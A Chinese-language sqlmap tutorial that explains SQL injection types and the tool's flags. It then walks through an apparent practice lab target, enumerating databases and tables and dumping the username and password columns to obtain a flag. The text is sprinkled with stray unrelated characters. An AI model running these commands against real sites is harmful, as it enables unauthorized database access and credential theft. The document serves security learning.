簡介
- sqlmap是一款開源免費(fèi)的漏洞檢查、利用工具
- 可以檢測頁面中g(shù)et,post參數(shù),cookie,http頭等
- 可以實(shí)現(xiàn)數(shù)據(jù)榨取
- 可以實(shí)現(xiàn)文件系統(tǒng)的訪問
- 可以實(shí)現(xiàn)操作命令的執(zhí)行
- 還可以對xss漏洞進(jìn)行檢測
可以說是安全從業(yè)人員必備的一款神器析既,也是邁入網(wǎng)絡(luò)安全必須會的一款軟件
支持類型
sqlmap 支持5種漏洞檢測類型
- 布爾盲注:如果一個url的地址為xxxx.php?id=1,那么我們可以嘗試下的加上 and 1=1(和沒加and1=1結(jié)果保持一致) 和 and 1=2和不加and1=2結(jié)果不一致,則我們基本可以確定是存在布爾注入的.
- 時間盲注:和基于布爾的檢測有些類似.通過mysql的 sleep(int)) 來觀察瀏覽器的響應(yīng)是否等待了你設(shè)定的那個值 如果等待了,則表示執(zhí)行了sleep,則基本確定是存在sql注入的
- 錯誤檢測:組合查詢語句,看是否報錯(在服務(wù)器沒有抑制報錯信息的前提下),如果報錯 則證明我們組合的查詢語句特定的字符被應(yīng)用了,如果不報錯,則我們輸入的特殊字符很可能被服務(wù)器給過濾掉也可能是抑制了錯誤輸出
- union聯(lián)合查詢:適用于如果某個web項(xiàng)目對查詢結(jié)果只展示一條而我們需要多條的時候 則使用union聯(lián)合查詢搭配concat還進(jìn)行獲取更多的信息
- 堆疊查詢:首先看服務(wù)器支不支持多語句查詢,一般服務(wù)器sql語句都是寫死的,某些特定的地方用占位符來接受用戶輸入的變量,這樣即使我們加and 也只能執(zhí)行select(也不一定select,主要看應(yīng)用場景,總之就是服務(wù)端寫了什么,你就能執(zhí)行什么)查詢語句,如果能插入分號;則我們后面可以自己組合update,insert,delete等語句來進(jìn)行進(jìn)一步操作
支持的數(shù)據(jù)庫類型
已知的有mysql,sql server,oracle,sqlite,db等真竖, 基本上全部支持了菲饼,如果某些小眾的不支持惋戏,我們一般也接觸不到品擎,目前還是以mysql為主流
其他
-d:如果你知道了對方數(shù)據(jù)庫賬號,密碼,端口等一些信息,則可以通過sqlmap直接連接 不需要再裝客戶端管理軟件 例 :Navicat
可以與burp suite ,google搜索引擎,結(jié)合使用.
get,post,cookie,referer,user-agent 都可以指定和隨機(jī)產(chǎn)生. cookie過期后自動更新cookie
并發(fā),延遲等修改.比如設(shè)置間隔請求時間(避免被服務(wù)器發(fā)現(xiàn)),并發(fā)大一點(diǎn),以達(dá)到追求速度的效果
支持Basic,Digest,NTLM,CA等身份認(rèn)證
包含密碼破解模塊
參數(shù)介紹
-d:直接連接數(shù)據(jù)庫服務(wù)器蛮原,作為數(shù)據(jù)庫客戶端使用
-u:后面跟URL地址仰剿,最好用雙引號括起來创淡,一定要存在變量名稱
-l:logfile,將Burpsuite或WEbScarab代理記錄的log日志文件提交上來
-x:sitemapurl南吮,將站點(diǎn)地圖sitemap文件提交上來
-f:參數(shù)查看指紋信息
--users:查看當(dāng)前數(shù)據(jù)庫所有用戶
--banner:查看數(shù)據(jù)庫版本信息
--dbs:查看目標(biāo)數(shù)據(jù)庫系統(tǒng)的所有庫
--schema:查看元數(shù)據(jù)庫琳彩,查看到的信息會很多
-a:all:所有數(shù)據(jù)都查找
-h或-hh:查看sqlmap的參數(shù)信息,雙h顯示全部
-v:顯示詳細(xì)的信息部凑,有1-6級露乏,默認(rèn)為1
--version:查看版本信息
--current-db:獲取當(dāng)前數(shù)據(jù)庫
-p:指定測試參數(shù)
-b:獲取banner
--is-dba:是否是管理員權(quán)限(一般是查看是否是root權(quán)限)
--current-user:當(dāng)前用戶
--tables:列舉數(shù)據(jù)庫的表名
--count:檢索所有條目數(shù)(該條命令可用在爆表名的時候,便于查看哪個是管理員的表)
--columns:獲取表的列名
--dump:獲取表中的數(shù)據(jù)涂邀,包含列
--dump-all:轉(zhuǎn)存DBMS數(shù)據(jù)庫所有表項(xiàng)目
--level:測試等級(1-5)瘟仿,默認(rèn)為1,cookie注入是2比勉,http頭注入是3
--delay 1:(1秒)表示延時1秒進(jìn)行注入
--risk:風(fēng)險等級劳较,共有四個等級,1會測試大部分的測試語句浩聋,2會增加基于事件的測試語句观蜗,3會增加OR語句的sql注入測試
-m:從文本中獲取多個目標(biāo),文件中保存url格式衣洁,sqlmap會一個一個測試
-r:獲取http請求注入,sqlmap可以從一個文本文件中獲取http請求墓捻,這樣就可以跳過設(shè)置一些其他參數(shù),在存在注入的http請求頭加*。
利用的場景:post坊夫,搜索注入砖第,http頭注入,登陸后的注入(在登錄后存在注入點(diǎn)环凿,因?yàn)橹挥性诘卿浐蟛庞衏ookie)
-g:處理google搜索結(jié)果,sqlmap可以測試注入google的搜索結(jié)果中的get參數(shù)(前100個請求)
–ignore-401:參數(shù)用來忽略未驗(yàn)證錯誤(設(shè)置忽略401)
避免錯誤請求過多而被屏蔽
–safe-url:隔一會就訪問一下的安全URL
–safe-post:訪問安全URL時攜帶的POST數(shù)據(jù)
–safe-req:從文件中載入安全HTTP請求
–safe-freq:每次測試請求之后都會訪問一下的安全URL
-D:指定數(shù)據(jù)庫
-T:指定表
-C:指定字段
--dbms=mysql oracle mssql:指定數(shù)據(jù)庫
實(shí)戰(zhàn)
首先用http://shop.aqlab.cn:8001/?id=1在下面的步驟中進(jìn)行發(fā)現(xiàn)會頻繁出現(xiàn)get-parameter-id-does-not-seem-to-be-injectable(get參數(shù)id似乎不可注入)
然后測試id的參數(shù)到底是多少梧兼,發(fā)現(xiàn)不管id的參數(shù)給的多少頁面都不會變。隨后百度何如獲取id的參數(shù)拷邢,用shop.aqlab.cn:8001:apsp?id=得到http://shop.aqlab.cn:8001//single.php?id=1可以得到flag的值并且不會報錯
sqlmap -u “http://shop.aqlab.cn:8001//single.php?id=1” 將存在注入漏洞的網(wǎng)址拿到sqlmap中跑一跑袱院,sqlmap會自動跑一段時間,測試網(wǎng)站的服務(wù)器和數(shù)據(jù)庫瞭稼,如果中途有停頓需要你選擇的忽洛,一般按Enter就行,直到運(yùn)行結(jié)束环肘。結(jié)束以后欲虚,會給出該網(wǎng)站的數(shù)據(jù)庫、操作系統(tǒng)悔雹、服務(wù)器等版本信息
sqlmap -u “http://shop.aqlab.cn:8001//single.php?id=1” –dbs
查看該網(wǎng)站的當(dāng)前數(shù)據(jù)庫复哆,sqlmap自動跑一段時間后,就會將數(shù)據(jù)庫信息給出
sqlmap -u “http://shop.aqlab.cn:8001//single.php?id=1” -D cake –tables
我測試的是cake數(shù)據(jù)庫腌零,sqlmap會測試網(wǎng)站當(dāng)前的cake數(shù)據(jù)庫中的所有表梯找,sqlmap自動跑一段時間后,就會將cake數(shù)據(jù)庫中包含的表給出
sqlmap -u “http://shop.aqlab.cn:8001//single.php?id=1” -D cake -T user –columns
sqlmap測試網(wǎng)站當(dāng)前的cake數(shù)據(jù)庫中user表中的所有的列信息益涧,sqlmap自動跑一段時間后锈锤,就會將user表中包含的所有列給出
sqlmap -u “http://shop.aqlab.cn:8001//single.php?id=1” -D cake -T user -C username,passwd –dump
sqlmap測試網(wǎng)站當(dāng)前的cake數(shù)據(jù)庫中user表中user列所包含的所有的列信息,sqlmap自動跑一段時間后闲询,就會將user列中包含的信息給出久免,此時得到的數(shù)據(jù)即我們所需的flag